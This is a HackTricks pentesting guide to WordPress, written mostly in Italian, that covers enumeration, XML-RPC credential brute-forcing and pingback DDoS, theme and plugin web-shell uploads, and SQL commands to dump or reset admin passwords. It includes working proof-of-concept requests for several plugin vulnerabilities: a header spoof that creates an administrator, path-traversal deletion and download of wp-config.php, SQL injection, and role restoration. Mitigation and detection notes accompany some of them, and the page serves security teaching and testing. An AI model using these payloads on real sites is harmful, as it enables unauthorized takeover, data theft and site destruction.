Wordpress
Reading time: 26 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Informazioni di base
-
Uploaded files vanno in:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt
-
I file dei temi si trovano in /wp-content/themes/, quindi se modifichi qualche php del tema per ottenere RCE probabilmente userai quel percorso. Per esempio: Usando theme twentytwelve puoi accedere al file 404.php in: /wp-content/themes/twentytwelve/404.php
-
Un altro URL utile potrebbe essere: /wp-content/themes/default/404.php
-
In wp-config.php puoi trovare la password root del database.
-
Percorsi di login di default da controllare: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
File principali di WordPress
index.php
license.txt
contiene informazioni utili come la versione di WordPress installata.wp-activate.php
viene usato per il processo di attivazione via email quando si configura un nuovo sito WordPress.- Cartelle di login (possono essere rinominate per nasconderle):
/wp-admin/login.php
/wp-admin/wp-login.php
/login.php
/wp-login.php
xmlrpc.php
è un file che rappresenta una feature di WordPress che permette la trasmissione di dati usando HTTP come meccanismo di trasporto e XML come meccanismo di codifica. Questo tipo di comunicazione è stato sostituito dalla WordPress REST API.- La cartella
wp-content
è la directory principale dove sono conservati plugin e temi. wp-content/uploads/
è la directory dove vengono memorizzati i file caricati sulla piattaforma.wp-includes/
è la directory dove sono archiviati i file core, come certificati, font, file JavaScript e widget.wp-sitemap.xml
Nelle versioni di WordPress 5.5 e successive, WordPress genera un file sitemap XML con tutti i post pubblici e i tipi di post e tassonomie pubblicamente interrogabili.
Post-exploitation
- Il file
wp-config.php
contiene le informazioni richieste da WordPress per connettersi al database come il nome del database, host del database, username e password, authentication keys and salts, e il prefisso delle tabelle del database. Questo file di configurazione può anche essere usato per attivare la modalità DEBUG, che può essere utile per il troubleshooting.
Permessi Utenti
- Administrator
- Editor: Pubblica e gestisce i propri e gli altri post
- Author: Pubblica e gestisce i propri post
- Contributor: Scrive e gestisce i propri post ma non può pubblicarli
- Subscriber: Naviga i post e modifica il proprio profilo
Enumerazione passiva
Ottenere la versione di WordPress
Controlla se puoi trovare i file /license.txt
o /readme.html
All'interno del codice sorgente della pagina (esempio da https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
- File di collegamento CSS
- File JavaScript
Ottieni Plugin
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Ottenere temi
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Estrarre le versioni in generale
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Enumerazione attiva
Plugin e Temi
Probabilmente non sarai in grado di trovare tutti i Plugin e Temi possibili. Per scoprirli tutti, dovrai eseguire attivamente un Brute Force su una lista di Plugin e Temi (si spera che per noi esistano strumenti automatici che contengano queste liste).
Utenti
- ID Brute: Ottieni utenti validi da un sito WordPress effettuando un Brute Force sugli ID degli utenti:
curl -s -I -X GET http://blog.example.com/?author=1
Se le risposte sono 200 o 30X, significa che l'id è valido. Se la risposta è 400, allora l'id è invalido.
- wp-json: Puoi anche provare a ottenere informazioni sugli utenti interrogando:
curl http://blog.example.com/wp-json/wp/v2/users
Un altro endpoint /wp-json/
che può rivelare alcune informazioni sugli utenti è:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Nota che questo endpoint espone solo gli utenti che hanno pubblicato almeno un post. Verranno fornite solo le informazioni sugli utenti che hanno attivato questa funzionalità.
Nota anche che /wp-json/wp/v2/pages could leak IP addresses.
- Login username enumeration: Quando effettui il login in
/wp-login.php
il messaggio è diverso e indica se lo username esiste o meno.
XML-RPC
Se xml-rpc.php
è attivo puoi eseguire un credentials brute-force o usarlo per lanciare attacchi DoS verso altre risorse. (Puoi automatizzare questo processo using this per esempio).
Per verificare se è attivo prova ad accedere a /xmlrpc.php e inviare questa richiesta:
Controlla
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>
Credentials Bruteforce
wp.getUserBlogs
, wp.getCategories
or metaWeblog.getUsersBlogs
are some of the methods that can be used to brute-force credentials. Se ne trovi qualcuno, puoi inviare qualcosa del tipo:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Il messaggio "Nome utente o password non corretti" all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
Usando le credenziali corrette puoi caricare un file. Nella risposta comparirà il percorso (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Esiste anche un modo più veloce per brute-force delle credenziali usando system.multicall
in quanto puoi provare diverse credenziali nella stessa request:
.png)
Bypass 2FA
Questo metodo è pensato per programmi e non per esseri umani, ed è vecchio, quindi non supporta 2FA. Quindi, se hai credenziali valide ma l'accesso principale è protetto da 2FA, potresti riuscire ad abusare di xmlrpc.php per effettuare il login con quelle credenziali bypassando la 2FA. Nota che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque arrivare a RCE come spiega Ippsec in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s
DDoS or port scanning
Se riesci a trovare il metodo pingback.ping nella lista puoi far inviare a Wordpress una richiesta arbitraria a qualsiasi host/porta.
Questo può essere usato per chiedere a migliaia di siti Wordpress di accessare una stessa destinazione (causando un DDoS in quel punto) oppure puoi usarlo per far eseguire a Wordpress uno scan di una rete interna (puoi indicare qualsiasi porta).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>
Se ottieni faultCode con un valore maggiore di 0 (17), significa che la porta è aperta.
Dai un'occhiata all'uso di system.multicall
nella sezione precedente per imparare come abusare di questo metodo per provocare DDoS.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
wp-cron.php DoS
Questo file solitamente esiste nella root del sito Wordpress: /wp-cron.php
Quando questo file viene acceduto viene eseguita una query MySQL "pesante", quindi potrebbe essere usato da attaccanti per causare un DoS.
Inoltre, per default, il wp-cron.php
viene chiamato ad ogni caricamento di pagina (ogni volta che un client richiede una qualsiasi pagina di Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
Si raccomanda di disabilitare Wp-Cron e creare un vero cronjob sul host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).
/wp-json/oembed/1.0/proxy - SSRF
Prova ad accedere a https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net e il sito Wordpress potrebbe effettuare una richiesta verso di te.
This is the response when it doesn't work:
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Questo tool verifica se esiste methodName: pingback.ping e il path /wp-json/oembed/1.0/proxy e, se presenti, prova a sfruttarli.
Strumenti automatici
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Ottenere l'accesso sovrascrivendo un bit
Più che un vero attacco, è una curiosità. Nel CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man si poteva invertire 1 bit in qualsiasi file di wordpress. Quindi si poteva modificare il bit alla posizione 5389
del file /var/www/html/wp-includes/user.php
per trasformare l'operazione NOT (!
) in NOP.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Pannello RCE
Modificare un file php del tema usato (admin credentials needed)
Aspetto → Editor del tema → Template 404 (a destra)
Sostituisci il contenuto con una php shell:
Cerca su internet come accedere a quella pagina aggiornata. In questo caso devi accedere qui: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Puoi usare:
use exploit/unix/webapp/wp_admin_shell_upload
to get a session.
Plugin RCE
PHP plugin
It may be possible to upload .php files as a plugin.
Create your php backdoor using for example:
Then add a new plugin:
Upload plugin and press Install Now:
Click on Procced:
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
Access it and you will see the URL to execute the reverse shell:
Uploading and activating malicious plugin
Questo metodo prevede l'installazione di un plugin malevolo noto per essere vulnerabile e che può essere sfruttato per ottenere una web shell. Questo processo viene eseguito tramite il WordPress dashboard come segue:
- Plugin Acquisition: The plugin is obtained from a source like Exploit DB like here.
- Plugin Installation:
- Navigate to the WordPress dashboard, then go to
Dashboard > Plugins > Upload Plugin
. - Upload the zip file of the downloaded plugin.
- Plugin Activation: Once the plugin is successfully installed, it must be activated through the dashboard.
- Exploitation:
- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
- It's noted that this is just one of the many methods to exploit a WordPress site.
Il contenuto include immagini che mostrano i passaggi nella WordPress dashboard per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la dovuta autorizzazione. Queste informazioni dovrebbero essere usate responsabilmente e solo in un contesto legale, come penetration testing con permesso esplicito.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike is a script designed to escalate a Cross-Site Scripting (XSS) vulnerability to Remote Code Execution (RCE) or other's criticals vulnerabilities in WordPress. For more info check this post. It provides support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:
- Privilege Escalation: Creates an user in WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Upload your custom plugin (backdoor) to WordPress.
- (RCE) Built-In Plugin Edit: Edit a Built-In Plugins in WordPress.
- (RCE) Built-In Theme Edit: Edit a Built-In Themes in WordPress.
- (Custom) Custom Exploits: Custom Exploits for Third-Party WordPress Plugins/Themes.
Post Exploitation
Estrai username e password:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Cambia la password admin:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Superficie di attacco
Capire come un plugin di Wordpress possa esporre funzionalità è fondamentale per trovare vulnerabilità nella sua logica. Puoi vedere in che modo un plugin può esporre funzionalità nei punti seguenti e alcuni esempi di plugin vulnerabili in this blog post.
wp_ajax
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite handler AJAX. Queste funzioni possono contenere bug di logica, autorizzazione o autenticazione. Inoltre, è abbastanza frequente che queste funzioni basino sia l'autenticazione che l'autorizzazione sull'esistenza di un wordpress nonce che qualsiasi utente autenticato nell'istanza Wordpress potrebbe avere (indipendentemente dal suo ruolo).
Queste sono le funzioni che possono essere usate per esporre una funzione in un plugin:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
L'uso di nopriv
rende l'endpoint accessibile a qualsiasi utente (anche non autenticati).
caution
Inoltre, se la funzione sta solo verificando l'autorizzazione dell'utente con la funzione wp_verify_nonce
, questa verifica soltanto che l'utente sia autenticato; di solito non controlla il ruolo dell'utente. Quindi utenti con pochi privilegi potrebbero avere accesso ad azioni ad alto privilegio.
- REST API
È anche possibile esporre funzioni da wordpress registrando una REST API usando la funzione register_rest_route
:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
La permission_callback
è una funzione di callback che verifica se un dato utente è autorizzato a chiamare il metodo API.
Se viene utilizzata la funzione built-in __return_true
, salterà semplicemente il controllo delle autorizzazioni utente.
- Accesso diretto al file php
Ovviamente, Wordpress usa PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, se un plugin espone una funzionalità vulnerabile che viene attivata semplicemente accedendo al file, sarà sfruttabile da qualsiasi utente.
Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
Alcuni plugin implementano scorciatoie "trusted header" per integrazioni interne o reverse proxies e poi usano quell'header per impostare il contesto utente corrente per le richieste REST. Se l'header non è vincolato crittograficamente alla richiesta da un componente upstream, un attacker può spoofarlo e colpire REST routes privilegiate come amministratore.
- Impatto: escalation di privilegi non autenticata a admin creando un nuovo amministratore tramite la core users REST route.
- Example header:
X-Wcpay-Platform-Checkout-User: 1
(forza l'ID utente 1, tipicamente il primo account amministratore). - Exploited route:
POST /wp-json/wp/v2/users
con un array di ruolo elevato.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Perché funziona
- Il plugin mappa un header controllato dal client allo stato di autenticazione e salta i controlli sulle capability.
- Il core di WordPress si aspetta la capability
create_users
per questa route; la modifica del plugin la bypassa impostando direttamente il contesto dell'utente corrente dall'header.
Indicatori di successo attesi
- HTTP 201 con un body JSON che descrive l'utente creato.
- Un nuovo utente admin visibile in
wp-admin/users.php
.
Checklist di rilevamento
- Cerca con grep
getallheaders()
,$_SERVER['HTTP_...']
, o vendor SDK che leggono header custom per impostare il contesto utente (es.wp_set_current_user()
,wp_set_auth_cookie()
). - Esamina le registrazioni REST per callback privilegiate che non hanno forti controlli
permission_callback
e si affidano invece agli header della request. - Cerca l'uso di funzioni core per la gestione utenti (
wp_insert_user
,wp_create_user
) dentro REST handler che sono protetti solo da valori negli header.
Mitigazioni
- Non derivare mai l'autenticazione o l'autorizzazione da header controllati dal client.
- Se un reverse proxy deve inserire l'identità, termina la fiducia al proxy e rimuovi le copie in ingresso (es.
unset X-Wcpay-Platform-Checkout-User
al bordo), poi passa un token firmato e verificane la firma lato server. - Per REST routes che eseguono azioni privilegiate, richiedi controlli
current_user_can()
e unpermission_callback
rigoroso (NON usare__return_true
). - Preferisci autenticazione first-party (cookies, application passwords, OAuth) rispetto all'“impersonation” via header.
Riferimenti: vedi i link alla fine di questa pagina per un caso pubblico e un'analisi più ampia.
Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
I temi e i plugin WordPress espongono frequentemente handler AJAX tramite gli hook wp_ajax_
e wp_ajax_nopriv_
. Quando viene usata la variante nopriv il callback diventa raggiungibile da visitatori non autenticati, quindi ogni azione sensibile deve implementare inoltre:
- Un controllo delle capability (es.
current_user_can()
o almenois_user_logged_in()
), e - Un nonce CSRF validato con
check_ajax_referer()
/wp_verify_nonce()
, e - Sanitizzazione/validazione rigorosa dell'input.
Il tema multipurpose Litho (< 3.1) ha dimenticato questi 3 controlli nella funzionalità Remove Font Family e ha finito per distribuire il codice seguente (semplificato):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Problemi introdotti da questo snippet:
- Accesso non autenticato – l'hook
wp_ajax_nopriv_
è registrato. - Nessun controllo di nonce / capability – qualsiasi visitatore può chiamare l'endpoint.
- Nessuna sanitizzazione del path – la stringa
fontfamily
controllata dall'utente è concatenata a un percorso del filesystem senza filtraggio, permettendo il classico traversal../../
.
Sfruttamento
Un attaccante può cancellare qualsiasi file o directory al di sotto della directory base degli uploads (normalmente <wp-root>/wp-content/uploads/
) inviando una singola richiesta HTTP POST:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Poiché wp-config.php
si trova al di fuori di uploads, quattro sequenze ../
sono sufficienti su un'installazione di default. Eliminare wp-config.php
forza WordPress nella procedura guidata di installazione alla visita successiva, consentendo la completa compromissione del sito (l'attaccante fornisce semplicemente una nuova configurazione DB e crea un utente amministratore).
Altri target impattanti includono file plugin/theme .php
(per compromettere plugin di sicurezza) o regole .htaccess
.
Checklist di rilevamento
- Qualsiasi callback
add_action( 'wp_ajax_nopriv_...')
che chiama helper del filesystem (copy()
,unlink()
,$wp_filesystem->delete()
, ecc.). - Concatenazione di input utente non sanificato nei path (cerca
$_POST
,$_GET
,$_REQUEST
). - Assenza di
check_ajax_referer()
ecurrent_user_can()
/is_user_logged_in()
.
Rafforzamento
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
// 🔒 NO wp_ajax_nopriv_ registration
tip
Sempre considera qualsiasi operazione di scrittura/cancellazione su disco come privilegiata e ricontrolla:
• Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via realpath()
plus str_starts_with()
).
Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Molti plugin implementano una funzionalità "view as role" o di cambio temporaneo di ruolo salvando il/i ruolo/i originali in user meta in modo che possano essere ripristinati successivamente. Se il percorso di ripristino si basa solo su request parameters (es., $_REQUEST['reset-for']
) e su una lista mantenuta dal plugin senza controllare le capability e un nonce valido, questo diventa una vertical privilege escalation.
Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di reset ripristinava i ruoli basandosi su reset-for=<username>
se il nome utente appariva in un array interno $options['viewing_admin_as_role_are']
, ma non eseguiva né un controllo current_user_can()
né una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati in user meta _asenha_view_admin_as_original_roles
:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Perché è sfruttabile
- Si fida di
$_REQUEST['reset-for']
e di un'opzione del plugin senza autorizzazione lato server. - Se un utente aveva in precedenza privilegi più elevati salvati in
_asenha_view_admin_as_original_roles
e poi è stato declassato, può ripristinarli colpendo il percorso di reset. - In alcune implementazioni, qualsiasi authenticated user potrebbe innescare un reset per un altro username ancora presente in
viewing_admin_as_role_are
(autorizzazione non valida).
Attack prerequisites
- Vulnerable plugin version with the feature enabled.
- Target account has a stale high-privilege role stored in user meta from earlier use.
- Any authenticated session; missing nonce/capability on the reset flow.
Exploitation (example)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Nelle build vulnerabili questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (e.g., administrator
), aumentando di fatto i privilegi.
Detection checklist
- Cerca funzionalità di cambio ruolo che persistono lo stato dei “ruoli originali” nei user meta (e.g.,
_asenha_view_admin_as_original_roles
). - Individua i percorsi di reset/restore che:
- Leggono nomi utente da
$_REQUEST
/$_GET
/$_POST
. - Modificano i ruoli tramite
add_role()
/remove_role()
senzacurrent_user_can()
ewp_verify_nonce()
/check_admin_referer()
. - Autorizzano basandosi su un array di opzioni del plugin (e.g.,
viewing_admin_as_role_are
) invece che sulle capacità dell’attore.
Mitigazioni
- Applica controlli delle capability in ogni ramo che modifica lo stato (e.g.,
current_user_can('manage_options')
o più restrittivo). - Richiedi nonces per tutte le modifiche di ruoli/permessi e verificale:
check_admin_referer()
/wp_verify_nonce()
. - Non fidarti mai dei nomi utente provenienti dalla richiesta; determina l'utente target server-side basandoti sull’attore autenticato e su una policy esplicita.
- Invalida lo stato dei “ruoli originali” sugli aggiornamenti di profilo/ruolo per evitare il ripristino di privilegi elevati obsoleti:
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
- Considera di memorizzare lo stato minimo e di usare token limitati nel tempo e protetti da capability per cambi temporanei di ruolo.
Considerazioni sul WAF per CVE di WordPress/plugin
I WAF generici a livello edge/server sono tarati su pattern ampi (SQLi, XSS, LFI). Molte vulnerabilità ad alto impatto in WordPress/plugin sono bug di logic/auth specifici dell'applicazione che sembrano traffico benigno a meno che il motore non comprenda le route di WordPress e la semantica dei plugin.
Note offensive
- Mirare a endpoint specifici del plugin con payload puliti:
admin-ajax.php?action=...
,wp-json/<namespace>/<route>
, custom file handlers, shortcodes. - Testare prima i percorsi non autenticati (AJAX
nopriv
, REST conpermission_callback
permissivo, shortcodes pubblici). I payload di default spesso riescono senza offuscamento. - Casi tipici ad alto impatto: escalation di privilegi (controllo accessi rotto), upload/download arbitrario di file, LFI, open redirect.
Note difensive
- Non affidarsi alle signature WAF generiche per proteggere le CVE dei plugin. Implementare patch virtuali a livello applicazione specifiche per la vulnerabilità o aggiornare rapidamente.
- Preferire controlli di sicurezza a approccio positivo nel codice (capabilities, nonces, validazione rigorosa degli input) rispetto a filtri regex negativi.
Protezione WordPress
Aggiornamenti regolari
Assicurarsi che WordPress, i plugin e i temi siano aggiornati. Confermare inoltre che l'aggiornamento automatico sia abilitato in wp-config.php:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Inoltre, installa solo plugin e temi WordPress affidabili.
Security Plugins
Other Recommendations
- Rimuovi l'utente predefinito admin
- Usa password robuste e 2FA
- Revisiona periodicamente i permessi degli utenti
- Limita i tentativi di login per prevenire attacchi Brute Force
- Rinomina il file
wp-admin.php
e consenti l'accesso solo internamente o da determinati indirizzi IP.
Unauthenticated SQL Injection tramite validazione insufficiente (WP Job Portal <= 2.3.2)
Il plugin WP Job Portal per il reclutamento esponeva un task savecategory che alla fine esegue il seguente codice vulnerabile all'interno di modules/category/model.php::validateFormData()
:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Problemi introdotti da questo snippet:
- Unsanitised user input –
parentid
proviene direttamente dalla richiesta HTTP. - String concatenation inside the WHERE clause – assenza di
is_numeric()
/esc_sql()
/ prepared statement. - Unauthenticated reachability – although the action is executed through
admin-post.php
, the only check in place is a CSRF nonce (wp_verify_nonce()
), which any visitor can retrieve from a public page embedding the shortcode[wpjobportal_my_resumes]
.
Exploitation
- Recupera un nonce valido:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Inietta SQL arbitrario sfruttando
parentid
:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
La risposta rivela il risultato della query iniettata o modifica il database, dimostrando la presenza di SQLi.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Another task, downloadcustomfile, allowed visitors to download any file on disk via path traversal. The vulnerable sink is located in modules/customfield/model.php::downloadCustomUploadedFile()
:
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name
è attacker-controlled e concatenato senza sanitizzazione. Di nuovo, l'unica barriera è una CSRF nonce che può essere recuperata dalla pagina del curriculum.
Exploitation
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
Il server risponde con il contenuto di wp-config.php
, leaking DB credentials and auth keys.
Riferimenti
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.